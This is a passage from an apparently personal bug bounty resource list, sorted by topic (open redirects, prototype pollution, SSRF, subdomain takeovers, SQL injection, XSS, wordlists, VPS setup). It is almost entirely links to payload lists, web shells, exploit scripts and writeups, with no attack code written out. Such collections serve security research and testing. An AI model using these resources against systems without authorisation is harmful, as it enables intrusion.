https://github.com/tomnomnom/meg/compare/master...3lpsy:megurl:master\n  https://github.com/tomnomnom/meg/compare/master...Cgboal:meg:master\n  https://github.com/tomnomnom/meg/compare/master...1ndianl33t:meg:master\n  https://github.com/tomnomnom/meg/compare/master...GwynHannay:meg:master\n  \nMethodologies (Hackers)\n   Cyberheartmi Methodology   https://gist.github.com/cyberheartmi9/1ac77d171d9b9dc9a5be45fa4f4c8dcb\n   Bug Bounty Mini Course:Automated Recon  https://www.youtube.com/watch?v=0VOWgM4klpM&list=WL&index=19&t=53s\n   Zseanos Methodology https://www.bugbountyhunter.com/methodology/zseanos-methodology.pdf\n \n \nMime Type Sniffing\nhttps://www.keycdn.com/support/what-is-mime-sniffing\n\nMindmaps \n  List of Attack Vectors http://www.tecapi.com/public/relative-vulnerability-rating-gui.jsp\n  Huge Mind Map. Lots of resources. Has All Exploits and a lot of good info. https://www.xmind.net/m/Xy7XEW/\n  Collaborative Mindmaps - Collaborative Mind Mapping \n\nMobile\n  https://github.com/skateforever/pentest-scripts/tree/main/mobile\n  https://www.veracode.com/blog/2010/12/mobile-app-top-10-list \n  \nMootools\n  https://github.com/BlackFan/client-side-prototype-pollution/blob/master/pp/mootools-more.md\n  mootools 1.4.5 vuln \n    https://sca.analysiscenter.veracode.com/vulnerability-database/security/1/1/sid-31812/summary\n    Vulnerable Line https://github.com/vsviridov/mootools-node/commit/0fcc500aa1be356bc8745b322e8182f38ec8f0a0#diff-c4d2ea9c35bf14dd01cf28b174dba68fca9d2d9a2ae4b63d48ee496d7e9deedbR360-R367 \n    poc https://snyk.io/test/npm/mootools/1.4.5\nNmap\n  https://tecadmin.net/scanning-open-ports-with-nmap/inif\n  nmap pwn https://gist.github.com/BU9D4DDY/3e31890ae407e7c41a00f3715d00c5d7\n\nNodejs hacking\nhttps://github.com/zactly/handouts/blob/master/node_js_generic_checks.md\n\nOneliners\n    automate prototype polution https://twitter.com/R0X4R/status/1402906185301323776\n    https://github.com/D4Vinci/One-Lin3rt\n\n  https://github.com/Excloudx6/Elsfa7110-Oneliner-bughunting\n  https://hackingblogs.com/bug-bounty-builder-project-tool-use/#ONE-LINERRECONfor_FUZZ_XSS\n  https://github.com/KingOfBugbounty/KingOfBugBountyTips/compare/master...halencarjunior:KingOfBugBountyTips:master\n  https://www.youtube.com/watch?v=ZcG8ARatgs0&t=467s\n  https://giters.com/okaayfine/oneliner-bugbounty\n  https://twitter.com/ofjaaah/status/1532581839344394241\n  https://gist.github.com/cyberheartmi9/c993542044fdc45834837c3f88484a63\n  https://github.com/trimstray/the-book-of-secret-knowledge\n\nOpen Redirects\nhttps://github.com/tomnomnom/meg/compare/master...1ndianl33t:meg:master\nhttps://www.infosecmatter.com/bug-bounty-tips-1/#5-top-25-open-redirect-dorks\nhttp://www.thespanner.co.uk/2014/03/21/rpo/\nhttps://nostarch.com/download/samples/RealWorldBugHunting_Ch02_Sample.pdf\nhttps://i.blackhat.com/asia-19/Fri-March-29/bh-asia-Wang-Make-Redirection-Evil-Again-wp.pdf\nhttps://devcraft.io/2020/10/19/github-gist-account-takeover.html\nhttps://portswigger.net/web-security/oauth/lab-oauth-stealing-oauth-access-tokens-via-an-open-redirecthttps://blog.intigriti.com/hackademy/open-redirect/\nhttp request smugglin open redorect defparam https://www.youtube.com/watch?v=3tpnuzFLU8g\nhttps://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/understanding-and-discovering-open-redirect-vulnerabilities/\nhttps://corneacristian.medium.com/top-25-open-redirect-bug-bounty-reports-5ffe11788794\nhttps://www.youtube.com/watch?v=4Jk_I-cw4WE\nhttps://www.youtube.com/watch?v=grkMW56WX2E\n  https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Open%20Redirect/Intruder/open_redirect_wwwist.txt\n  https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Open%20Redirect/Intruder/openredirects.txt\n  https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Open%20Redirect/Intruder/Open-Redirect-payloads.txt\n  https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html\n  https://github.com/AnLoMinus/Bug-Bounty/blob/2d654a0a62c1194564aa841745c171c4b1374252/Checklist/Web%20App/Upload%20Function.md\nhttps://github.com/Excloudx6/open-redirect-payload-list\n * [Learn with @DarkLotusKDB: Recon with Shodan & Spyse,XSS, Bypass OpenRedirects, SSRF, BugBunty Bot!!!](https://www.youtube.com/watch?v=66HqaFCF4Kk)\nhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect\n  https://web.archive.org/web/20201130145910/https://github.com/ptswarm/ptswarm-twitter/blob/main/2020-11-30-open-redirect-params.txt\nhttps://giters.com/okaayfine/oneliner-bugbounty#open-redirect\nhttps://infosecwriteups.com/bugbounty-linkedln-how-i-was-able-to-bypass-open-redirection-protection-2e143eb36941\nTnom and ori https://youtu.be/SYExiynPEKM?t=2630\n\nOwasp Top 10 (2021) https://cwe.mitre.org/data/definitions/1344.html\nParams\n  More Silent wheb running https://github.com/0xecho/parameth\n  Normal Branch https://github.com/maK-/parameth\n  Docker support https://github.com/Shaked/parameth\n  \nParameter Tampering - \n  http://www.tecapi.com/public/rvr-view-attack-vector-gui.jsp?antiCsrfToken=null&attackVectorId=57\n\nPayloads / POCs\n    https://github.com/knownsec/pocsuite3\nhttps://github.com/pranav77/XSS-using-SVG-file\n  https://github.com/Excloudx6/Public/tree/master/payloads\n  https://github.com/sh377c0d3/Payloads/fork\n  https://github.com/RootUp/PersonalStuff\n  https://github.com/swisskyrepo/PayloadsAllTheThings \n  https://portswigger.net/research/top-10-web-hacking-techniques-of-2019-nominations-open\n  https://portswigger.net/research/top-10-web-hacking-techniques-of-2019\n  https://portswigger.net/research/top-10-web-hacking-techniques-of-2020-nominations-open\n  https://portswigger.net/research/top-10-web-hacking-techniques-of-2020\n  https://portswigger.net/research/top-10-web-hacking-techniques-of-2021-nominations-open\n  https://portswigger.net/research/top-10-web-hacking-techniques-of-2021\n  https://portswigger.net/research/top-10-web-hacking-techniques\n  https://portswigger.net/research/so-you-want-to-be-a-web-security-researcher#forgottenknowledge\n\nPOC Videos\n  https://repo.telematika.org/project/bminossi_allvideopocsfromhackerone/\n  https://github.com/zeroc00I/AllVideoPocsFromHackerOne\n\nPassword Cracking\n  https://docs.aws.amazon.com/cognito/latest/developerguide/cognito-dg.pdf\n\nPeople \ntnom interview https://gist.github.com/ruevaughn/00638360841b2bec94149080c4f04f28\nAshar Jahvid https://twitter.com/soaj1664ashar\n\nProducts / Services \nTobuy https://order.shareit.com/cart/view | https://tryhackme.com/why-subscribe | https://findomain.app/#Pricing | https://github.com/Excloudx6/InfoSec-Black-Friday | HAKLUKE RECOMENDS https://securitytrails.com/corp/osint-toolkit?referral_code=LLDAK0F80M\n\n\nProtype Pollution\n  automate https://twitter.com/R0X4R/status/1402906185301323776\n  https://www.kitploit.com/2021/09/plution-prototype-pollution-scanner.html\n  https://github.com/dwisiswant0/ppfuzz?tag=v1.0.0\n  https://github.com/kosmosec/proto-find\n  https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#prototype-pollution\n  https://github.com/BlackFan/client-side-prototype-pollution\n  https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/\n  https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf\nhttps://www.youtube.com/watch?v=Gv1nK6Wj8qM&t=1558s\nppmap \n  https://blog.intigriti.com/2021/07/14/bug-bytes-131-credential-stuffing-in-bug-bounty-hijacking-shortlinks-hacker-shows/\n  https://www.geeksforgeeks.org/ppmap-a-scanner-or-exploitation-tool-written-in-go/\n  https://book.hacktricks.xyz/pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution\nPrototype polution Tools\n  https://github.com/msrkp/PPScan\n\n\n\nPython\nhttps://hackernoon.com/10-common-security-gotchas-in-python-and-how-to-avoid-them-e19fbe265e03?utm_source=pocket-ff-recs\n\nRails\n  https://github.com/zactly/handouts/blob/master/oss_apps.md\n  https://github.com/zactly/handouts/blob/master/materials.md\n  https://github.com/gramantin/awesome-rails#apps-made-with-rails\n  Mass Assignment https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html\n  https://code.tutsplus.com/tutorials/mass-assignment-rails-and-you--net-31695\n  https://www.cloudbees.com/blog/preproduction-checklist-for-a-rails-app?utm_source=rubyweekly&utm_medium=email\n  https://youtu.be/CIhHpkybYsY?t=1171\n  https://github.com/zactly/handouts/find/master\n  https://github.com/zactly/handouts/blob/master/conferences/virtual-appsecday-2020/skea_rails_routes.md\n  \n \nRecon\n  https://github.com/003random/003Recon\n  https://raw.githubusercontent.com/anshumanbh/domain/master/enumall.py\n  Reconmap GUI Website SaaS https://demo.reconmap.com/login\n  https://github.com/0xbharath/assets-from-spf\n  https://mavericknerd.github.io/knowledgebase/BugBountyRecon/\n  https://www.bugbountyhunter.com/methodology/zseanos-methodology.pdf   \n  https://ulir.ul.ie/bitstream/handle/10344/8278/Nuseibeh_2019_Text.pdf?sequence=2\n  https://github.com/janmasarik/resolvers\n  https://github.com/janmasarik/resolvers/pull/31/files\n\nResolvers\n  https://github.com/janmasarik/resolvers/pull/31/files\n  https://github.com/janmasarik/resolvers\n\n\nReporting\n  https://cheatsheetseries.owasp.org/cheatsheets/Vulnerability_Disclosure_Cheat_Sheet.html\n\nReflected File Downloads\n Reflected File Download - A New Web Attack Vector https://www.youtube.com/watch?v=dl1BJUNk8V4\n https://blog.davidvassallo.me/2014/11/02/practical-reflected-file-download-and-jsonp/\nhttps://drive.google.com/file/d/0B0KLoHg_gR_XQnV4RVhlNl96MHM/view?resourcekey=0-NV7cTUTB48bltMEddlULLg\nhttps://www.blackhat.com/docs/eu-14/materials/eu-14-Hafif-Reflected-File-Download-A-New-Web-Attack-Vector.pdf\nhttps://www.davidsopas.com/reflected-file-download-cheat-sheet/\n\nRegexp\n  Regexp Basics https://www.youtube.com/watch?v=KJG1dETacLI\n  https://regexr.com/\n\nResources\n  https://portswigger.net/research/web-cache-entanglement\n  https://github.com/AnLoMinus/Bug-Bounty\n  https://github.com/ngalongc/bug-bounty-reference\n  https://www.youtube.com/c/krypt0muxbugbounty\n  https://github.com/OWASP/www-chapter-czech-republic/blob/master/slides/Getting_Started_with_Bug_Bounty.pdf\n  https://github.com/OWASP/www-chapter-czech-republic/blob/master/slides/Hacking_101.pdf\n  https://github.com/OWASP/www-chapter-czech-republic/blob/master/slides/Adela_Hanikova_All_roads_lead_to_domain_admin.pdf\n  https://github.com/blaCCkHatHacEEkr/PENTESTING-BIBLE\n  Really good bug bounty playlist https://www.youtube.com/watch?v=FeXloh12Mnw&list=PLlrnAg4kKF3r26OIyfoYQQ-YqySE3fyE_&index=2\n  When looking for something ot hack https://web.archive.org/web/20210420062735/https://help.intrigue.io/reference/intrigue-core-api-endpoints\n  The 5 Hacking NewsLetter 107 - https://pentester.land/newsletter/2020/05/27/the-5-hacking-newsletter-107.html\n  Cloud Metadata - https://gist.github.com/rudSarkar/39f821249bf0d38093cafbfd23bc33ee | https://gist.github.com/BuffaloWill/fa96693af67e3a3dd3fb\n  Megathread https://twitter.com/ITSecurityguard/status/1519272305729458176\n  Reset Passwprd https://docs.google.com/presentation/d/1QzBl3k3n2q44ULyfZgr_gPZexj8nF5vD8JrS5AUJRbs/edit#slide=id.gb5aea10a86_0_167\n  Bug Bounty Google Doc https://docs.google.com/presentation/d/1o7GWUOYwcd3uMwLBRG9UzARYCvfuX3VKUHfoPu38t78/edit\n  Bug Bounty Udemy Courses Tip https://twitter.com/ITSecurityguard/status/1519272305729458176 \n  https://github.com/carlospolop/PEASS-ng \n  Saturday Night Bug Bounty Bytes w/ Ch1-R0n1n  https://www.youtube.com/watch?v=xx5fF7i-dCQ\n  Nicolas Gr\u00e9goire - Hunting for Top Bounties  https://www.youtube.com/watch?v=mQjTgDuLsp4\n  Hacktify Playlist to learn hacking https://www.youtube.com/watch?v=NBCrlRqX2AY&list=RDCMUCS82DNnKOhXHcGKxGzQvNSQ&start_radio=1&rv=NBCrlRqX2AY&t=0\n  \nRNG http://www.math.sci.hiroshima-u.ac.jp/m-mat/MT/ARTICLES/earticles.html  \n\nRPO (Relative Path overide) Gadgets \n  https://blog.innerht.ml/rpo-gadgets/\n  https://www2018.thewebconf.org/proceedings/\n  https://blog.acolyer.org/2018/05/28/large-scale-analysis-of-style-injection-by-relative-path-overwrite/\n  https://www.nds.rub.de/media/emma/veroeffentlichungen/2012/08/16/scriptlessAttacks-ccs2012.pdf\n  https://portswigger.net/research/detecting-and-exploiting-path-relative-stylesheet-import-prssi-vulnerabilities\ninurl:/.well-known/security ext:txt -hackerone -bugcrowd -synack -openbugbount\n\nSAML\nhttps://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/\nhttps://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf\nhttps://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/\n\nScanners\n  2020_3452\nhttps://www.zoomeye.org/\nhttps://searchcode.com/\nhttps://fullhunt.io/\nhttps://github.com/RustScan/RustScan\nhttps://github.com/knassar702/scant3r\n\nS3 buckets \n  https://github.com/sa7mon/S3Scanner\n   Dumping S3 Buckets | Exploiting S3 Bucket Misconfigurations https://www.youtube.com/watch?v=ITSZ8743MUk\n   https://support.cloudflare.com/hc/en-us/articles/360037983412-Configuring-an-Amazon-Web-Services-static-site-to-use-Cloudflare\n\nSecond Order Takeovers\n  Shubbs Talking about it in his 5 years of hacking talk. Good. https://youtu.be/iG7-c0YbhbM?t=1472\n\nSelf Hosting \n  https://honoki.net/2021/07/11/wilson-cloud-respwnder/\n  Shodan like nmap results parser (https://github.com/shivammehta007/ScanX) PBNJ(http://pbnj.sourceforge.net/) (A suite of tools to monitor change in a network over time) store NMAP Results in a database to monitor changes on a network over time and then conducts historical analysis to identify new hosts - \n\nScripts\n  LFI https://web.archive.org/web/20100228162410/http://pastie.org/840199\n  https://github.com/killswitch-GUI/PenTesting-Scripts\n\nSession Poisoning - https://en.wikipedia.org/wiki/Session_poisoning \n https://github.com/t1m4/ptl_lab\n \nSetup\n  Bug Bounty Tools Setup - https://github.com/oliveira-andre/bug_bounty_tools\n  Redherd - https://redherd.readthedocs.io/en/latest/ | https://www.youtube.com/channel/UCYSM51oldVsryhZxGdB3hXA\n\nShells\n  https://github.com/tennc/webshell/blob/master/README_EN.md\n\nSmart Contracts\n  https://github.com/SecurityInnovation/Smart-Contract-CTF\n\nSSRF\n  SSRF HTTP Bypass List https://pastebin.com/YbsKrMpf\n SSRF - Practical  by Hacktify https://www.youtube.com/watch?v=NBCrlRqX2AY\nhttps://reconshell.com/jira-mobile-ssrf-exploit/\nhttps://gowthams.gitbook.io/bughunter-handbook/list-of-vulnerabilities-bugs/ssrf\n\n\nSubdomain Takeovers\n  https://github.com/mhmdiaa/tko-subs\n  https://github.com/mhmdiaa/second-order\nhttps://0xpatrik.com/subdomain-takeover-ns/\nhttps://labs.detectify.com/2014/10/21/hostile-subdomain-takeover-using-herokugithubdesk-more/\nhttps://www.hackerone.com/application-security/guide-subdomain-takeovers\nhttps://medium.com/@thebuckhacker/how-to-do-55-000-subdomain-takeover-in-a-blink-of-an-eye-a94954c3fc75\nhttps://import.cdn.thinkific.com/359809/courses/1386931/locomotivesubdomaintakeover-210608-154821.yamll\nhttps://github.com/buckhacker/SubDomainTakeoverTools\ngithub.com/lukasikic/subzy \n    -> https://gist.githubusercontent.com/ruevaughn/91d3369fdf0d93b0bdc6662c771cb7ae/raw/79e07b315e465bae1f003ec8fd40fcf5471b223b/fingerprints.json\ngithub.com/mhmdiaa/second-order\n\nSubmitting a report\nhttps://about.gitlab.com/blog/2020/09/28/top-tips-for-better-bug-bounty-reports-and-a-hacker-contest/\n\nSQL INjection\nhttps://www.cloudflare.com/learning/security/threats/sql-injection/\n\nShodan\n  Awesome Shodan Queries https://github.com/jakejarvis/awesome-shodan-queries\n  Shodan Dorks https://twitter.com/0xhunster/status/1548382647759491074/photo/1\n  Shodan CVE Dorks Kathan https://kathan19.gitbook.io/howtohunt/sensitive-info-leaks/shodan_cve_dorks\n  https://carbon.now.sh/6nEp25xrtuu53L6aquU4\n  https://twitter.com/kotylevskiy/status/1551926067908182018/photo/1\nStatus Codes\n  Web status codes https://requests.readthedocs.io/en/latest/api/#status-code-lookup\n  \nSQL Injection\nhttps://github.com/ladecruze/Exploits/blob/master/sqlexploit.js\n  https://book.hacktricks.xyz/pentesting-web/sql-injection\n  (at the bottom of the page, the image and text for 2 sqli x-forwarded-for tips) https://medium.com/pentesternepal/access-control-worth-2000-everyone-missed-this-idor-access-control-between-two-admins-9745eaf15d21\n  https://github.com/0xEval/sql2shell\n  \nSource Code Analysis\n  https://twitter.com/dhakal_ananda/status/1544574015779606529\n\nTakeovers\n  https://github.com/musana/mx-takeover\n  \nTiming Attacks\nTime Attacks http://www.tecapi.com/public/relative-vulnerability-rating-gui.jsp?antiCsrfToken=null&filterCategory=9\n\nTips\n  Parse Github URls https://github.com/ruevaughn/git-url-parse\n  Randomize IPs https://gist.github.com/yehgdotnet/27114d4bb5b28ec093e6dd36e329c389\n\n  Find IP Address behind CDN\n    \t\thttps://github.com/mandatoryprogrammer/cloudflare_enum\n    https://infosecwriteups.com/finding-the-origin-ip-behind-cdns-37cd18d5275\n    https://zdresearch.com/finding-the-origin-ip-behind-cdns/\n    https://twitter.com/HolyBugx/status/1343156549162852352?s=20 \n  Test Shodan Queries https://app.netlas.io/responses/\n  https://bbinfosec.medium.com/collection-of-bug-bounty-tip-will-be-updated-daily-605911cfa248\n  https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/bugbountytips.md\n  King of Bug Bounty Tips - https://github.com/KingOfBugbounty/KingOfBugBountyTips\n  https://abhinavprasad47.github.io/bugbounty-starter-notes/\n  https://www.google.com/search?tbm=bks&q=recon-ng\n  gh dork: https://github.com/topics/one-liners\n  Sqlmap tip - https://youtu.be/rVu0GUjic_g?t=2246\n  Eval command and security issues https://mywiki.wooledge.org/BashFAQ/048\n  \ud83c\udf1f Find company's owned domains (company.*) with these #googledorks: | https://twitter.com/nil0x42/status/1533094473067995137 \n  https://redhuntlabs.com/nvadr\nTodo\n    read https://docs.github.com/en/code-security/secret-scanning/about-secret-scanning\n      https://tillsongalloway.com/finding-sensitive-information-on-github/\nTODO: Make a worldist from these Amazon Cognito API actions GetUser etc https://docs.aws.amazon.com/cognito-user-identity-pools/latest/APIReference/API_AdminGetUser.html\n\n\nTools\n  https://github.com/ladecruze/Subdorker/fork\n   Brute Force Tomcat https://github.com/Excloudx6/tomcter\n  Code Snippets\n    https://carbon.now.sh/snippets\n  HTML Tools (CSV To HTML, Regexpal, 50+ tools) \n    https://www.cleancss.com/join.php\n  \n\n  Arjun                 \n    https://github.com/s0md3v/Arjun/wiki/Usage#scan-a-single-url  \n  crobat                    \n    https://www.onsecurity.io/blog/how-i-made-rapid7s-project-sonar-searchable/\n  Dom Invader               \n    https://www.youtube.com/watch?v=GeqVMOUugqY\n  ffuf                      \n    https://mikekitckchan.medium.com/holy-ffuf-a-beginner-guide-to-fuzz-with-ffuf-4bc6a66b5391 | https://thexssrat.medium.com/what-the-fuzz-the-truth-behind-content-discovery-77cd0c0756e7\n  gf       \n    Automate GF and gau https://gist.github.com/BU9D4DDY/eea5f7580577d9bf5d009ce923bac4fe\n    https://rengine.wiki/usage/tool_conf/ \n    https://github.com/1ndianl33t/Gf-Patterns \n    https://github.com/halencarjunior/BugBuntu/wiki/Installing-Gf-Patterns \n    https://github.com/NitinYadav00/gf-patterns/fork \n    https://twitter.com/sratarun/status/1361209626478276610 \n    MORE GF TEMPLATES https://github.com/lutfumertceylan/top25-parameter/releases/tag/v1.0.7 \n    https://github.com/tomnomnom/gf/compare/master...pry0cc:jf:master | \n    https://github.com/ResistanceIsUseless/gf | \n    https://github.com/tomnomnom/gf/compare/master...medbsq:gf:master | \n    https://github.com/mrofisr/gf-patterns\n    \n  gee                       \n    Similar to Tee. More Functionality. https://github.com/hahwul/gee\n    Gee Tips https://twitter.com/hahwul/status/1360495560843689989\n  FFMPEG-AVI-m3u-xbin       - https://github.com/Excloudx6/ffmpeg-avi-m3u-xbin\n  metabigor v2              - Metabigor https://twitter.com/j3ssiejjj/status/1528687407587299330/photo/1\n  pywhat -- Identify anything. pyWhat easily lets you identify PI from pcap files\n    https://github.com/bee-san/pyWhat/fork\n  recon-ng  https://raw.githubusercontent.com/anshumanbh/domain/master/enumall.py\n  SimpleApachePathTraversal - https://github.com/MrCl0wnLab/SimplesApachePathTraversal\n  Source2Url                - \n  \n  Tmux \n    tmux or screen https://youtu.be/a8LaNydbJyA?t=6406\n\n  \n  Tracy\n    https://newsroom.nccgroup.com/\n    https://github.com/nccgroup/tracy/blob/master/src/js/database-worker.js\n    https://github.com/nccgroup/tracy\n  \n  UrlEncode/Decode\n    https://www.w3schools.com/tags/ref_urlencode.ASP\n    https://network-tools.com/url-encode/\n    https://www.url-encode-decode.com/\n\nVulnerable Things\n  https://github.com/kiwicom/xssable\n   https://github.com/janmasarik/dumb-password-rules\n https://github.com/duffn/dumb-password-rules/fork\n \n \n WhatWeb                   - https://github.com/urbanadventurer/WhatWeb\n  WFUZZ                     - https://book.hacktricks.xyz/pentesting-web/web-tool-wfuzz\nwwwwwww\nahttps://useragent.me/\n\nWordlists\nhttps://gist.github.com/random-robbie/0f9d24a7b3c7268ee0c1ecdbe280611b\n  http://web.mit.edu/~mkgray/jik/src/Attic/kerberos_password_hacker/allwords\n  https://web.archive.org/web/20201130145910/https://github.com/ptswarm/ptswarm-twitter/blob/main/2020-11-30-open-redirect-params.txt\n  https://github.com/mhmdiaa/chronos\n  https://github.com/d4rckh/gorilla\n  https://github.com/jim3ma/crunch\n  https://github.com/the-xentropy/samlists/fork\n  https://github.com/AyProductions-Team/NEXTdependencydownloader/blob/588fa54b77743f808feec88070a4a0c76ac7c993/bin/Debug/net6.0-windows/DependencyDownloader.exe.WebView2/EBWebView/ZxcvbnData/3.0.0.0/passwords.txt\n  https://gist.github.com/random-robbie/c9671939d029848df38e06c5383e6395\n  Common Config Files by Tomnomnom   https://github.com/tomnomnom/meg/blob/master/lists/configfiles\n  Short Wordlist by Tomnomnom https://gist.github.com/tomnomnom/57af04c3422aac8c6f04451a4c1daa51\n  https://github.com/giteshnxtlvl/cook\n  https://imgur.com/user/silverblack1111/New%20Folder\n  https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056\n  https://github.com/RhinoSecurityLabs/Security-Research/blob/master/tools/aws-pentest-tools/iam_user_enum/default-word-list.txt\n  https://github.com/koaj/aws-s3-bucket-wordlist\n  https://github.com/Karanxa/Bug-Bounty-Wordlists\n  FUZZ.txt good -https://gist.github.com/m4ll0k/50efec5f04179b107c9d7597eec7d23c\n  https://gist.github.com/m4ll0k/https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d\n  Stream: Creating Target Specific Wordlist!!  https://www.youtube.com/watch?v=AF-zp6DROTs\n  API Endpoints https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d\n  https://bendtheory.medium.com/finding-and-exploiting-unintended-functionality-in-main-web-app-apis-6eca3ef000af\n  https://wordlists.assetnote.io/\n  https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056\n  https://github.com/six2dez/OneListForAll/blob/main/onelistforallmicro.txt\n  https://gist.github.com/miguelmota/706ebaeb661e246e1b682c400d49d1c9\n  https://github.com/ghostlulzhacks/wordlist/blob/master/directory-brute-wordlist.txt\n  to harvest https://youtu.be/YO3ldj4jkJk?t=275\n  Common Bucket Names https://github.com/buckhacker/buckhacker/blob/master/resources/common-bucket-names.txt\n  https://portswigger.net/web-security/authentication/auth-lab-passwords\n  https://portswigger.net/web-security/authentication/auth-lab-usernames\n  https://github.com/SmeegeSec/SmeegeScrape\n  make a wl from js https://gist.github.com/seqrity/d67608eb6372cd6f455bfeeefa77b9c2\n  Who what where when tomnomnom - https://www.youtube.com/watch?v=W4_QCSIujQ4\n  https://pentestbook.six2dez.com/recon/webs-recon Wordlist Gen\n  https://github.com/giteshnxtlvl/cook\n  https://gitlab.com/kalilinux/packages/amass/-/tree/91a5313226ab9ebd4ecbad40622584dd6f3f7cd5/wordlists Wordlists\n\n\n  \nWriteups\n  https://github.com/kh4sh3i/bug-bounty-writeups\n  securityforeveryone.com/scan-repository\n  2022-07-15 Exploiting Arbitrary Object Instantiations in PHP without Custom Classes  https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/\n  https://github.com/fardeen-ahmed/Bug-bounty-Writeups\n  https://github.com/devanshbatham/Awesome-Bugbounty-Writeups\n  https://twitter.com/ITSecurityguard/status/1519272305729458176\n  https://github.com/ngalongc/bug-bounty-reference\n  \n  https://github.com/djadmin/awesome-bug-bounty\n  https://ysamm.com/#\n  https://tarekbouali.com/posts/how-i-hacked-one-of-the-biggest-airlines-group-of-the-world/\n  https://github.com/jaiswalakshansh/Facebook-BugBounty-Writeups\n  https://infosecwriteups.com/intro-to-bug-bounty-automation-tool-chaining-with-bash-13e11348016f\n  https://hacklido.com/u/excloudx\n  https://subscription.packtpub.com/book/ssnetworking-and-servers/9781788626897/7/ch07lvl1sec47/example\n  https://subscription.packtpub.com/owned\n  https://id.bugbountyhub.com/auth/realms/bugbountyhub/login-actions/authenticate?execution=a484e1a7-bc42-472b-a339-15be49996b14&client_id=prod-platform&tab_id=MivkVulj_p8\n  https://prashantbhatkal2000.medium.com/svg-based-stored-xss-ee6e9b240dee\n  https://github.com/phlmox/public-reports/blob/main/hackerone-one-million-reports\n  https://footstep.ninja/posts/\n  https://twitter.com/omespino/status/1489310300708900868/photo/\n  https://github.com/phlmox/public-reports\n  https://blog.assetnote.io/2020/09/15/hacking-on-bug-bounties-for-four-years/\n  https://discord.com/channels/772850979955671103/772854181433573398/895230570366402590 Hacking Articles\n\nVhosts\n  https://github.com/Shaked/vhost-finder\n  Vhost Discovery https://github.com/projectdiscovery/tlsx#sancn-probe\n\nVPS\nhttps://github.com/bbhunter/pentest-scripts/blob/main/useful/get-tools.sh\nhttps://github.com/crawlab-team/crawlab\n  https://github.com/righettod/toolbox-pentest-web\n  google cloud official repos https://github.com/googleapis/google-cloud-ruby\n  google cloud repos https://github.com/orgs/4ARMED/repositories\n  Certifcate install   https://github.com/anshumanbh/terraform-burp-collaborator#using-a-proper-tls-certificate\n  https://github.com/orgs/4ARMED/repositories\n  Teraform Burp Colab server https://github.com/anshumanbh/terraform-burp-collaborator\n  Setup script for Regon-ng  and altdns https://github.com/jhaddix/domain\n  https://github.com/AntSwordProject/antSword\n  https://github.com/janmasarik/resolvers/blob/master/.github/workflows/main.yml\n  https://github.com/pry0cc/axiom/tree/master/images/provisioners\n  https://github.com/janmasarik/resolvers\n  Assetnote Setup and Installation   https://gist.github.com/sz3n/1fdf2f871a10d4e9180757afc8fd80e2\n  https://demo.ezxss.com/manage/dashboard\n  https://github.com/ssl/ezXSS/wiki/Installation\n  https://honoki.net/2021/07/11/wilson-cloud-respwnder/\n  https://github.com/ruevaughn/assetnote\n  https://github.com/robre/jsmon\n  Host and Deploy Assetnote https://gist.github.com/BU9D4DDY/9e023d0fae3314273302ae895ae7c5ed\n  vps_install.sh by Rajchowdhury420 https://gist.github.com/Rajchowdhury420/24fa500ebc4edbb2018860f85f93b8cf\n  https://hackingblogs.com/bug-bounty-builder-project-tool-use/\n  Beats - Lightweight shippers for Elasticsearch & Logstash \n  https://github.com/nicolargo/glances\n  https://github.com/intrigueio/intrigue-core/wiki/Setting-up-a-Development-Environment-%28on-Ubuntu%2C-Kali%2C-Debian%29\n  https://www.udemy.com/course/learn-website-hacking-penetration-testing-from-scratch/learn/lecture/5878090?start=0#overview\n  Pt a website onlne https://www.youtube.com/watch?v=NQP89ish9t8\n  https://www.trenchesofit.com/2021/06/14/bug-bounty-vps-build/\n  https://github.com/intrigueio/intrigue-core/wiki/Setting-up-a-Development-Environment-%28on-Ubuntu%2C-Kali%2C-Debian%29\n  https://github.com/AlexisAhmed/BugBountyToolkit <-- docker \n\nWhitepapers\nhttps://github.com/zactly/handouts/tree/master/conferences\n\nxss\nhttps://github.com/kiwicom/xssable\nhttps://twitter.com/soaj1664ashar\n  https://github.com/pranav77/XSS-using-SVG-file\n  https://www.openbugbounty.org/blog/devl00p/top-100-xss-dorks/\n  xss - https://threadreaderapp.com/thread/1508406052663934979.html\n  https://google-gruyere.appspot.com/\n  https://0x1.gitlab.io/web-security/Weaponised-XSS-Payloads/\n  https://infosecwriteups.com/weaponizing-reflected-xss-to-account-takeover-ae8aeea7aca3\n  https://hakluke.medium.com/upgrade-xss-from-medium-to-critical-cb96597b6cc4\n  https://github.com/hakluke/weaponised-XSS-payloads\n  https://medium.com/redteam/weaponising-angularjs-bypasses-4e59790a730a\n  https://github.com/dwisiswant0/findom-xss\n  https://www.secureideas.com/blog/2018/12/twelve-days-of-xssmas.html\n  https://www.geeksforgeeks.org/findom-xss-fast-dom-based-xss-vulnerability-scanner/?ref=rp\n  https://thexssrat.podia.com/free-labs\n  https://github.com/topics/xss\n  https://twitter.com/ofjaaah/status/1504932805431767046\n  https://portswigger.net/research/new-xss-vectors\n  https://medium.com/bugbountywriteup/how-i-was-able-to-find-50-cross-site-scripting-xss-security-vulnerabilities-on-bugcrowd-public-ba33db2b0ab1\n  https://github.com/takshal/freq\n  https://bytemeta.vip/index.php/@takshal\n  https://github.com/takshal/freq/pull/2/commits/ca176eee65889530b4896d782419edd0e4325713\n  